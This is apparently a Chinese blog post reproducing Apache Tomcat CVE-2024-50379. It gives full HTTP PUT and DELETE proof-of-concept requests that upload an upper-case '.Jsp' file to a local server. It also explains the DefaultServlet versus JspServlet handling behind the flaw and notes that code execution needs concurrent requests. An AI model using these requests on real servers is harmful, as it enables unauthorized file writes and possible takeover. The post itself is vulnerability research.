Apache Tomcat CVE-2024-50379

Apache Tomcat CVE-2024-50379

原创 e0mlja e0m安全屋 2024-12-19 03:33

昨天发完了有人没复现有很多问题,加了点儿东西,差不多也说清楚了web的这部分。

poc

一开始说的竞争 只测了一个版本,不需要竞争,直接传

(原本猜测是put上去了会再删除所以需要竞争去get getshell的 测试版本9.0.63不需要 代码也没有看到哪里会有删除文件的操作,朴实无华的put)

文件上传

PUT /dsd.Jsp HTTP/1.1
Host: 127.0.0.1:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept-Encoding: gzip, deflate, br, zstd
Cookie: OFBiz.Visitor=10000; uid=11221|1732611643799
Sec-Fetch-Mode: navigate
Content-Length: 14
Connection: keep-alive
123123sssasdad

开启readonly,可以写文件(成功就201新建 或者204覆盖)

文件删除

DELETE /dsd.Jsp HTTP/1.1
Host: 127.0.0.1:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Sec-Fetch-Dest: document
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept-Encoding: gzip, deflate, br, zstd
Cookie: OFBiz.Visitor=10000; uid=11221|1732611643799
Sec-Fetch-Mode: navigate
Content-Length: 14
Connection: keep-alive
123123sssasdad

代码执行

上面的只是验证的poc,关于代码利用解析还是需要并发的

为什么大写的Jsp,Jspx可以PUT上传,但是小写的jsp,jspx不能上传

因为当我们使用大写的Jspx,Jsp的时候,tomcat用的DefaultServlet来处理

而使用小写的jsp或者jspx的时候,tomcat使用的是JspServlet处理的

两者的处理方式不一样,所以导致大写的可以上传但是小写的无法上传

关于触发的问题

我们知道tomcat是个中间件,会解析固定的后缀,调用jspserlvet解析,如果不走这个servlet,就不会做解析。所以言外之意 上传其它的后缀如果没有做特殊的处理,默认是不能直接解析的。

tomcat在处理后缀的时候,判断了是否是jsp,jspx,如果是的话,会组装一个JspServlet的wrapper,当判断不是的时候,会组装一个默认的servletwrapper,也就是defaultwrapper,组装在 org.apache.catalina.mapper.Mapper#internalMapWrapper里面完成。

而对于后缀的判断,是从后往前取到.的时候,用.做分割,然后挨个字符进行判断,是否匹配到jsp或者jspx

关于为啥并发能够绕过,原理就不太清楚了,fuzz大法。